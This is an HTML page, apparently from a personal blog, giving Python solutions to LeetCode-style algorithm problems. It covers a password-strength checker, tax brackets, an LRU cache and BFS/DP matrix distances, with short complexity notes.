<h3 id="2240-买钢笔和铅笔的方案数"><a href="#2240-买钢笔和铅笔的方案数" class="headerlink" title="2240. 买钢笔和铅笔的方案数"></a>2240. 买钢笔和铅笔的方案数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def waysToBuyPensPencils(self, total: int, cost1: int, cost2: int) -> int:</span><br><span class="line"> result = 0</span><br><span class="line"> last = total</span><br><span class="line"> while last >= cost1:</span><br><span class="line"> result += (last // cost2) + 1</span><br><span class="line"> last -= cost1</span><br><span class="line"> result += (last // cost2) + 1</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2299-强密码检验器-II"><a href="#2299-强密码检验器-II" class="headerlink" title="2299. 强密码检验器 II"></a>2299. 强密码检验器 II</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def strongPasswordCheckerII(self, password: str) -> bool:</span><br><span class="line"> if len(password) < 8:</span><br><span class="line"> return False</span><br><span class="line"> spectial = set("!@#$%^&*()-+")</span><br><span class="line"> hasLower = hasUpper = hadDigit = hasSpectial = False</span><br><span class="line"> for i in range(len(password)):</span><br><span class="line"> if i and password[i - 1] == password[i]:</span><br><span class="line"> return False</span><br><span class="line"> if password[i].islower():</span><br><span class="line"> hasLower = True</span><br><span class="line"> elif password[i].isupper():</span><br><span class="line"> hasUpper = True</span><br><span class="line"> elif password[i].isdigit():</span><br><span class="line"> hadDigit = True</span><br><span class="line"> elif password[i] in spectial:</span><br><span class="line"> hasSpectial = True</span><br><span class="line"> return hasLower and hasUpper and hadDigit and hasSpectial</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2303-计算应缴税款总额"><a href="#2303-计算应缴税款总额" class="headerlink" title="2303. 计算应缴税款总额"></a>2303. 计算应缴税款总额</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def calculateTax(self, brackets: List[List[int]], income: int) -> float:</span><br><span class="line"> result = 0</span><br><span class="line"> i = 0</span><br><span class="line"> prev = 0</span><br><span class="line"> while income > brackets[i][0]:</span><br><span class="line"> result += (brackets[i][0] - prev) * brackets[i][1] / 100</span><br><span class="line"> prev = brackets[i][0]</span><br><span class="line"> i += 1</span><br><span class="line"> if income > prev:</span><br><span class="line"> result += (income - prev) * brackets[i][1] / 100</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2309-兼具大小写的最好英文字母"><a href="#2309-兼具大小写的最好英文字母" class="headerlink" title="2309. 兼具大小写的最好英文字母"></a>2309. 兼具大小写的最好英文字母</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def greatestLetter(self, s: str) -> str:</span><br><span class="line"> sset = set(s)</span><br><span class="line"> for lower, upper in zip(reversed(ascii_lowercase), reversed(ascii_uppercase)):</span><br><span class="line"> if lower in sset and upper in sset:</span><br><span class="line"> return upper</span><br><span class="line"> return ''</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2315-统计星号"><a href="#2315-统计星号" class="headerlink" title="2315. 统计星号"></a>2315. 统计星号</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def countAsterisks(self, s: str) -> int:</span><br><span class="line"> flag = True</span><br><span class="line"> result = 0</span><br><span class="line"> for i in range(len(s)):</span><br><span class="line"> if s[i] == '*' and flag:</span><br><span class="line"> result += 1</span><br><span class="line"> if s[i] == '|':</span><br><span class="line"> if flag:</span><br><span class="line"> flag = False</span><br><span class="line"> else:</span><br><span class="line"> flag = True</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2319-判断矩阵是否是一个-X-矩阵"><a href="#2319-判断矩阵是否是一个-X-矩阵" class="headerlink" title="2319. 判断矩阵是否是一个 X 矩阵"></a>2319. 判断矩阵是否是一个 X 矩阵</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def checkXMatrix(self, grid: List[List[int]]) -> bool:</span><br><span class="line"> n = len(grid)</span><br><span class="line"> for i in range(n):</span><br><span class="line"> for j in range(n):</span><br><span class="line"> if i == j or i + j == n - 1:</span><br><span class="line"> if grid[i][j] == 0:</span><br><span class="line"> return False</span><br><span class="line"> else:</span><br><span class="line"> if grid[i][j] != 0:</span><br><span class="line"> return False</span><br><span class="line"> return True</span><br><span class="line"> </span><br></pre></td></tr></table></figure>
<h3 id="2325-解密消息"><a href="#2325-解密消息" class="headerlink" title="2325. 解密消息"></a>2325. 解密消息</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def decodeMessage(self, key: str, message: str) -> str:</span><br><span class="line"> result = ''</span><br><span class="line"> tmp = 'a'</span><br><span class="line"> keymap = dict()</span><br><span class="line"> i = 0</span><br><span class="line"> while len(keymap) < 26:</span><br><span class="line"> if key[i] != ' ' and key[i] not in keymap:</span><br><span class="line"> keymap[key[i]] = tmp</span><br><span class="line"> tmp = chr(ord(tmp) + 1)</span><br><span class="line"> i += 1</span><br><span class="line"> for j in range(len(message)):</span><br><span class="line"> if message[j] == ' ':</span><br><span class="line"> result += ' '</span><br><span class="line"> else:</span><br><span class="line"> result += keymap[message[j]]</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2331-计算布尔二叉树的值"><a href="#2331-计算布尔二叉树的值" class="headerlink" title="2331. 计算布尔二叉树的值"></a>2331. 计算布尔二叉树的值</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, val=0, left=None, right=None):</span><br><span class="line"># self.val = val</span><br><span class="line"># self.left = left</span><br><span class="line"># self.right = right</span><br><span class="line">class Solution:</span><br><span class="line"> def evaluateTree(self, root: Optional[TreeNode]) -> bool:</span><br><span class="line"> if root.val == 1:</span><br><span class="line"> return True</span><br><span class="line"> elif root.val == 0:</span><br><span class="line"> return False</span><br><span class="line"> elif root.val == 2:</span><br><span class="line"> return self.evaluateTree(root.left) or self.evaluateTree(root.right)</span><br><span class="line"> else:</span><br><span class="line"> return self.evaluateTree(root.left) and self.evaluateTree(root.right)</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2335-装满杯子需要的最短总时长"><a href="#2335-装满杯子需要的最短总时长" class="headerlink" title="2335. 装满杯子需要的最短总时长"></a>2335. 装满杯子需要的最短总时长</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def fillCups(self, amount: List[int]) -> int:</span><br><span class="line"> amount.sort()</span><br><span class="line"> if amount[0] + amount[1] <= amount[2]:</span><br><span class="line"> return amount[2]</span><br><span class="line"> else:</span><br><span class="line"> return (sum(amount) + 1) // 2</span><br><span class="line"> </span><br></pre></td></tr></table></figure>
<h3 id="2341-数组能形成多少数对"><a href="#2341-数组能形成多少数对" class="headerlink" title="2341. 数组能形成多少数对"></a>2341. 数组能形成多少数对</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def numberOfPairs(self, nums: List[int]) -> List[int]:</span><br><span class="line"> cnt, res = set(), [0, 0]</span><br><span class="line"> for num in nums:</span><br><span class="line"> if num in cnt:</span><br><span class="line"> res[0] += 1</span><br><span class="line"> cnt.remove(num)</span><br><span class="line"> else:</span><br><span class="line"> cnt.add(num)</span><br><span class="line"> res[1] = len(cnt)</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2347-最好的扑克手牌"><a href="#2347-最好的扑克手牌" class="headerlink" title="2347. 最好的扑克手牌"></a>2347. 最好的扑克手牌</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def bestHand(self, ranks: List[int], suits: List[str]) -> str:</span><br><span class="line"> if len(set(suits)) == 1:</span><br><span class="line"> return 'Flush'</span><br><span class="line"> cnt = Counter(ranks)</span><br><span class="line"> if len(cnt) == 5:</span><br><span class="line"> return 'High Card'</span><br><span class="line"> for a, b in cnt.items():</span><br><span class="line"> if b > 2:</span><br><span class="line"> return 'Three of a Kind'</span><br><span class="line"> return 'Pair'</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2357-使数组中所有元素都等于零"><a href="#2357-使数组中所有元素都等于零" class="headerlink" title="2357. 使数组中所有元素都等于零"></a>2357. 使数组中所有元素都等于零</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minimumOperations(self, nums: List[int]) -> int:</span><br><span class="line"> return len(set(nums) - {0})</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2363-合并相似的物品"><a href="#2363-合并相似的物品" class="headerlink" title="2363. 合并相似的物品"></a>2363. 合并相似的物品</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def mergeSimilarItems(self, items1: List[List[int]], items2: List[List[int]]) -> List[List[int]]:</span><br><span class="line"> cnt = Counter()</span><br><span class="line"> for a, b in items1:</span><br><span class="line"> cnt[a] += b</span><br><span class="line"> for a, b in items2:</span><br><span class="line"> cnt[a] += b</span><br><span class="line"> return sorted([a, b] for a, b in cnt.items())</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2373-矩阵中的局部最大值"><a href="#2373-矩阵中的局部最大值" class="headerlink" title="2373. 矩阵中的局部最大值"></a>2373. 矩阵中的局部最大值</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def largestLocal(self, grid: List[List[int]]) -> List[List[int]]:</span><br><span class="line"> n = len(grid)</span><br><span class="line"> res = [[0] * (n - 2) for _ in range(n - 2)]</span><br><span class="line"> for i in range(n - 2):</span><br><span class="line"> for j in range(n - 2):</span><br><span class="line"> res[i][j] = max(grid[x][y] for x in range(i, i + 3) for y in range(j, j + 3))</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2379-得到-K-个黑块的最少涂色次数"><a href="#2379-得到-K-个黑块的最少涂色次数" class="headerlink" title="2379. 得到 K 个黑块的最少涂色次数"></a>2379. 得到 K 个黑块的最少涂色次数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minimumRecolors(self, blocks: str, k: int) -> int:</span><br><span class="line"> tmp = res = blocks[:k].count('W')</span><br><span class="line"> for i in range(len(blocks) - k):</span><br><span class="line"> if blocks[i] == 'W':</span><br><span class="line"> tmp -= 1</span><br><span class="line"> if blocks[i + k] == 'W':</span><br><span class="line"> tmp += 1</span><br><span class="line"> res = min(res, tmp)</span><br><span class="line"> return res</span><br></pre></td></tr></table></figure>
<h3 id="2383-赢得比赛需要的最少训练时长"><a href="#2383-赢得比赛需要的最少训练时长" class="headerlink" title="2383. 赢得比赛需要的最少训练时长"></a>2383. 赢得比赛需要的最少训练时长</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minNumberOfHours(self, initialEnergy: int, initialExperience: int, energy: List[int], experience: List[int]) -> int:</span><br><span class="line"> res = 0</span><br><span class="line"> sum1 = sum(energy)</span><br><span class="line"> if initialEnergy <= sum1:</span><br><span class="line"> res += (1 + sum1 - initialEnergy)</span><br><span class="line"> for i in range(len(experience)):</span><br><span class="line"> if initialExperience <= experience[i]:</span><br><span class="line"> res += (1 + experience[i] - initialExperience)</span><br><span class="line"> initialExperience = 1 + experience[i]</span><br><span class="line"> initialExperience += experience[i]</span><br><span class="line"> return res</span><br></pre></td></tr></table></figure>
<h3 id="2389-和有限的最长子序列"><a href="#2389-和有限的最长子序列" class="headerlink" title="2389. 和有限的最长子序列"></a>2389. 和有限的最长子序列</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def answerQueries(self, nums: List[int], queries: List[int]) -> List[int]:</span><br><span class="line"> f = []</span><br><span class="line"> nums = sorted(nums)</span><br><span class="line"> cur_sum = 0</span><br><span class="line"> for num in nums:</span><br><span class="line"> cur_sum += num</span><br><span class="line"> f.append(cur_sum)</span><br><span class="line"> # import besect</span><br><span class="line"> return [bisect_right(f, q) for q in queries]</span><br></pre></td></tr></table></figure>
<h3 id="2441-与对应负数同时存在的最大正整数"><a href="#2441-与对应负数同时存在的最大正整数" class="headerlink" title="2441. 与对应负数同时存在的最大正整数"></a>2441. 与对应负数同时存在的最大正整数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def findMaxK(self, nums: List[int]) -> int:</span><br><span class="line"> hashmap = set()</span><br><span class="line"> result = -1</span><br><span class="line"> for num in nums:</span><br><span class="line"> if -num in hashmap:</span><br><span class="line"> result = max(abs(num), result)</span><br><span class="line"> hashmap.add(num)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="2488-统计中位数为-K-的子数组"><a href="#2488-统计中位数为-K-的子数组" class="headerlink" title="2488. 统计中位数为 K 的子数组"></a>2488. 统计中位数为 K 的子数组</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def countSubarrays(self, nums: List[int], k: int) -> int:</span><br><span class="line"> kIndex = nums.index(k)</span><br><span class="line"> res = 0</span><br><span class="line"> cnt = Counter()</span><br><span class="line"> cnt[0] = 1</span><br><span class="line"> cur_sum = 0</span><br><span class="line"> for i in range(len(nums)):</span><br><span class="line"> if nums[i] < k:</span><br><span class="line"> cur_sum -= 1</span><br><span class="line"> elif nums[i] > k:</span><br><span class="line"> cur_sum += 1</span><br><span class="line"> if i < kIndex:</span><br><span class="line"> cnt[cur_sum] += 1</span><br><span class="line"> else:</span><br><span class="line"> prev0 = cnt[cur_sum]</span><br><span class="line"> prev1 = cnt[cur_sum - 1]</span><br><span class="line"> res += prev0 + prev1</span><br><span class="line"> return res</span><br></pre></td></tr></table></figure>
<h3 id="2514-统计同位异构字符串数目"><a href="#2514-统计同位异构字符串数目" class="headerlink" title="2514. 统计同位异构字符串数目"></a>2514. 统计同位异构字符串数目</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def countAnagrams(self, s: str) -> int:</span><br><span class="line"> words = s.split()</span><br><span class="line"> result = 1</span><br><span class="line"> for word in words:</span><br><span class="line"> counter = collections.Counter(word)</span><br><span class="line"> result *= math.factorial(len(word))</span><br><span class="line"> for ch in ascii_lowercase:</span><br><span class="line"> result //= math.factorial(counter[ch])</span><br><span class="line"> return result % (10 ** 9 + 7)</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="剑指-Offer-II-031-最近最少使用缓存"><a href="#剑指-Offer-II-031-最近最少使用缓存" class="headerlink" title="剑指 Offer II 031. 最近最少使用缓存"></a>剑指 Offer II 031. 最近最少使用缓存</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line">class DLinkedNode:</span><br><span class="line"> def __init__(self, key=0, val=0):</span><br><span class="line"> self.key = key</span><br><span class="line"> self.val = val</span><br><span class="line"> self.prev = None</span><br><span class="line"> self.next = None</span><br><span class="line"></span><br><span class="line">class LRUCache:</span><br><span class="line"></span><br><span class="line"> def __init__(self, capacity: int):</span><br><span class="line"> self.size = 0</span><br><span class="line"> self.capacity = capacity</span><br><span class="line"> self.cache = dict()</span><br><span class="line"> self.head = DLinkedNode()</span><br><span class="line"> self.tail = DLinkedNode()</span><br><span class="line"> self.head.next = self.tail</span><br><span class="line"> self.tail.prev = self.head</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def get(self, key: int) -> int:</span><br><span class="line"> if key not in self.cache:</span><br><span class="line"> return -1</span><br><span class="line"> node = self.cache[key]</span><br><span class="line"> self.moveToHead(node)</span><br><span class="line"> return node.val</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def put(self, key: int, value: int) -> None:</span><br><span class="line"> if key in self.cache:</span><br><span class="line"> node = self.cache[key]</span><br><span class="line"> node.val = value</span><br><span class="line"> self.moveToHead(node)</span><br><span class="line"> else:</span><br><span class="line"> node = DLinkedNode(key, value)</span><br><span class="line"> self.cache[key] = node</span><br><span class="line"> self.size += 1</span><br><span class="line"> self.addToHead(node)</span><br><span class="line"> if self.size > self.capacity:</span><br><span class="line"> self.size -= 1</span><br><span class="line"> node = self.removeTail()</span><br><span class="line"> self.cache.pop(node.key)</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> def addToHead(self, node):</span><br><span class="line"> node.next = self.head.next</span><br><span class="line"> node.prev = self.head</span><br><span class="line"> self.head.next.prev = node</span><br><span class="line"> self.head.next = node</span><br><span class="line"></span><br><span class="line"> def removeNode(self, node):</span><br><span class="line"> node.prev.next = node.next</span><br><span class="line"> node.next.prev = node.prev</span><br><span class="line"></span><br><span class="line"> def moveToHead(self, node):</span><br><span class="line"> self.removeNode(node)</span><br><span class="line"> self.addToHead(node)</span><br><span class="line"></span><br><span class="line"> def removeTail(self):</span><br><span class="line"> node = self.tail.prev</span><br><span class="line"> self.removeNode(node)</span><br><span class="line"> return node</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># Your LRUCache object will be instantiated and called as such:</span><br><span class="line"># obj = LRUCache(capacity)</span><br><span class="line"># param_1 = obj.get(key)</span><br><span class="line"># obj.put(key,value)</span><br></pre></td></tr></table></figure>
<h3 id="剑指-Offer-II-107-矩阵中的距离"><a href="#剑指-Offer-II-107-矩阵中的距离" class="headerlink" title="剑指 Offer II 107. 矩阵中的距离"></a>剑指 Offer II 107. 矩阵中的距离</h3><p>BFS(breadth first search)<br>time: O(mn) space: O(mn) for the queue and set<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def updateMatrix(self, mat: List[List[int]]) -> List[List[int]]:</span><br><span class="line"> m, n = len(mat), len(mat[0])</span><br><span class="line"> result = [[0] * n for _ in range(m)]</span><br><span class="line"> zeroPositions = [(i, j) for i in range(m) for j in range(n) if mat[i][j] == 0]</span><br><span class="line"> q = collections.deque(zeroPositions)</span><br><span class="line"> seen = set(zeroPositions)</span><br><span class="line"> while q:</span><br><span class="line"> i, j = q.popleft()</span><br><span class="line"> for ni, nj in [(i - 1, j), (i + 1, j), (i, j - 1), (i, j + 1)]:</span><br><span class="line"> if 0 <= ni < m and 0 <= nj < n and (ni, nj) not in seen:</span><br><span class="line"> result[ni][nj] = result[i][j] + 1</span><br><span class="line"> q.append((ni, nj))</span><br><span class="line"> seen.add((ni, nj))</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<p>DP(dynamic programming)<br>time: O(mn) space: O(1)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def updateMatrix(self, mat: List[List[int]]) -> List[List[int]]:</span><br><span class="line"> m, n = len(mat), len(mat[0])</span><br><span class="line"> result = [[10 ** 9] * n for _ in range(m)]</span><br><span class="line"> for i in range(m):</span><br><span class="line"> for j in range(n):</span><br><span class="line"> if mat[i][j] == 0:</span><br><span class="line"> result[i][j] = 0</span><br><span class="line"> for i in range(m):</span><br><span class="line"> for j in range(n):</span><br><span class="line"> if i - 1 >= 0:</span><br><span class="line"> result[i][j] = min(result[i][j], result[i - 1][j] + 1)</span><br><span class="line"> if j - 1 >= 0:</span><br><span class="line"> result[i][j] = min(result[i][j], result[i][j - 1] + 1)</span><br><span class="line"> for i in range(m - 1, -1, -1):</span><br><span class="line"> for j in range(n - 1, -1, -1):</span><br><span class="line"> if i + 1 < m:</span><br><span class="line"> result[i][j] = min(result[i][j], result[i + 1][j] + 1)</span><br><span class="line"> if j + 1 < n:</span><br><span class="line"> result[i][j] = min(result[i][j], result[i][j + 1] + 1)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="面试题-05-02-二进制数转字符串"><a href="#面试题-05-02-二进制数转字符串" class="headerlink" title="面试题 05.02. 二进制数转字符串"></a>面试题 05.02. 二进制数转字符串</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def printBin(self, num: float) -> str:</span><br><span class="line"> res = '0.'</span><br><span class="line"> while len(res) <= 32 and num != 0:</span><br><span class="line"> num *= 2</span><br><span class="line"> digit = int(num)</span><br><span class="line"> res += str(digit)</span><br><span class="line"> num -= digit</span><br><span class="line"> if len(res) <= 32:</span><br><span class="line"> return res</span><br><span class="line"> else:</span><br><span class="line"> return 'ERROR'</span><br></pre></td></tr></table></figure>
